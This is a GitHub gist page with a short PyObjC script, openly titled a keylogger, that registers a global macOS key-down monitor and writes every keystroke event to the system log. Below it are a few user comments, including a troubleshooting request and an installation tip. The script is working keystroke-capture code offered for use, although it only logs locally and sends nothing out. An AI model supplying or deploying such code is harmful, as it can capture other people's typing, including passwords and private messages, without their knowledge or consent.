Created
June 29, 2012 19:02
-
-
Save gourneau/3019988 to your computer and use it in GitHub Desktop.
Python Objective C keylogger
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""PyObjC keylogger for Python | |
by ljos https://github.com/ljos | |
""" | |
from Cocoa import * | |
from Foundation import * | |
from PyObjCTools import AppHelper | |
class AppDelegate(NSObject): | |
def applicationDidFinishLaunching_(self, aNotification): | |
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler) | |
def handler(event): | |
NSLog(u"%@", event) | |
def main(): | |
app = NSApplication.sharedApplication() | |
delegate = AppDelegate.alloc().init() | |
NSApp().setDelegate_(delegate) | |
AppHelper.runEventLoop() | |
if __name__ == '__main__': | |
main() |
Wow. That's impressively concise.
Hey dude nice thing , but it not work for me , just keep listening not print anything , what's problem ? can you help me please ?
take a look at this picture also , when i start it in 10second first have some crash
http://uploadkon.ir/fl/dd/11657
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Needs to have PyObjC installed. The pip install is broken, use easy_install.